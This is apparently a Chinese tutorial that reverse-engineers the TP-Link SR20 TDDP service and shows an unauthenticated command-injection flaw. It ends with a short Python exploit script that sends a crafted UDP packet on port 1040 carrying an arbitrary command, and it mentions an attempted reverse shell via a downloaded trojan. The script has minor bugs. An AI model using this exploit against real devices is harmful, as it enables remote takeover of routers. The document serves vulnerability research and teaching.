前言
文章关于iot安全入门实操,选取例子是TP-Link SR20 命令执行漏洞,本文重点是熟悉逆向分析的流程,所以其他步骤会省略。
这里简要介绍漏洞原理:
固件下载地址:
https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip
工具:
IOT-research虚拟机
提取码nqy3
https://pan.baidu.com/s/1ke6gvJ9sFlnpPE17O9nMuQ
参考资料:
《物联网安全漏洞挖掘实战》
一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone
复现TP-Link SR20 本地网络远程代码执行漏洞_tplink漏洞poc-CSDN博客
复现:
解压后定位到tddp二进制文件,arm-32-小端
本文分析的方式是从头开始分析,来到start函数,R0寄存器是传第一个参数,存着某个函数地址,下面进行B指令无条件执行main函数,跟进sub971c
这里都点一下看看,定位到sub936c,另外两个没啥用
初步判断,v6 是一个指针,指向一个结构体,用于存储socket相关的信息。
重点是标注的这些函数信息,可以判断这些函数是配置socket的,一个个点进去看,发现sub_16d68值得关注
这里的a2是传进来的参数1040,htons函数是将整型变量从主机字节顺序转变成网络字节顺序,而bind函数是将一个本地地址与一个套接口进行绑定,这个函数的目的就是将socket套接字绑定到了1040端口上。
返回主函数继续观察。这段循环是重点。代码进入一个无限循环,不断进行读取操作。其中 select 函数用于监视读取socket数据的情况。
在 C 语言中,select 函数的原型如下:
int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
参数说明
- nfds: 监控的文件描述符的数量,通常是所有文件描述符中最大值加一。
- readfds: 指向一个 fd_set 结构的指针,表示需要监控的可读文件描述符集合。
- writefds: 指向一个 fd_set 结构的指针,表示需要监控的可写文件描述符集合。
- exceptfds: 指向一个 fd_set 结构的指针,表示需要监控的异常条件的文件描述符集合。
- timeout: 指向一个 timeval 结构的指针,指定等待的最长时间。如果设置为 NULL,则 select 会一直阻塞,直到有事件发生。
返回值
- 如果成功,返回准备好的文件描述符的数量。
- 如果超时,返回 0。
- 如果出错,返回 -1,并设置 errno 以指示错误类型。
有这段介绍,就能理解这段代码了:
在配置好socket之后,到这里的循环读取socket数据,程序已经开启了对远程的交互。
如果 select 返回(v7)为 0,表示没有数据可读,则跳出循环。否者则应处理数据,那么这里的sub_16418大概率是处理数据函数,继续双击跟进它
关键函数recvfrom(),该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen),用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间。
也就是说a1的45083偏移处存放着socket接收到的数据,即我们后续攻击传进来的数据。
继续观察下面代码这个if判断。根据TDDP协议存在两个版本,该协议规定第一个字节处为version,即版本。而该协议存在漏洞的版本是version为1的时候,不需要进行身份的认证即可对设备进行调试。得出在38行对v2,即TDDP协议第一个字节处的version进行判断是否为1时,判断正确后下边执行的34行-37行的几个函数中存在关键函数。
经过观察,sub15AD8和sub9340只是简单的处理,那么sub_15E74为关键函数,继续跟进
这里对a1的45084偏移处的数据进行判断,之前已经判断出45083偏移处是数据,那么这里是对发送数据的第二字节进行判断。
这里有一大堆case,正常流程应该是要一个个看,这里复现已经知道了是0x31,就不浪费时间了,直接点到0x31的处理函数里面
有两个地方要关注
1、inet_ntoa是转换ip地址,v16应该是保存着远程ip地址,sub_91dc是对一串命令,ip进行处理,而其中的s不难发现是远程传进来的数据
其中tftp -gr 文件名 资源服务器ip
是用来获取远程文件的,这个文件名,保存在变量s里,如果我们可以控制,那么这里就能命令执行或下载木马了
2、一大串的lua开头的不知道啥玩意,交给chatgpt,得知是一种脚本语言,这里是对远程下载来的lua文件进行执行
那么这里确实能导致木马执行
这个文件名s是怎么控制的?可以网上点击一下相关变量,很明显就是第一个字节设置为1,文件名保存在偏移12字节处
跟进sub_91dc,和猜想的一样,看到了熟悉的execve,在加上传参,最后执行的参数就是,char *argv[] = {"sh", "-c", s, NULL};其中<s>是传参过来的,即tfdp传输命令
(但是这里传参就只传了个sh,明显代码不对,大概率是ida的问题吧)
逆向分析到这已经完成了,仿真就不赘述了,这里贴一下exp脚本
from socket import *
tddp_port = 1040
ip = sys.argv[1]
command = sys.argv[2]
# 获取udp/ip套接字
socket_send = socket(AF_INET, SOCK_DGRAM, 0)
#根据逆向分析得知:第二字节必须是0x31。第一字节选择0x01,那么所读取的文件名就在偏移12字节后,所以要补全12字节再构造文件名。
payload = b'\x01\x31'.ljust(12, b'\x00')
#;aaa是因为目标程序中用sscanf对数据通过分号进行了隔开,只保留前半部分
payload += b"%s;aaa" % command
socket_send.sendto(payload, (ip, tddp_port))
socket_send.close()
最后按教程的去下载木马反弹shell,一直不成功,大概率是固件的busybox过于简陋,很难完成反弹shell。试一下拼接命令执行个ifconfig,成功了(执行ls是不成功的)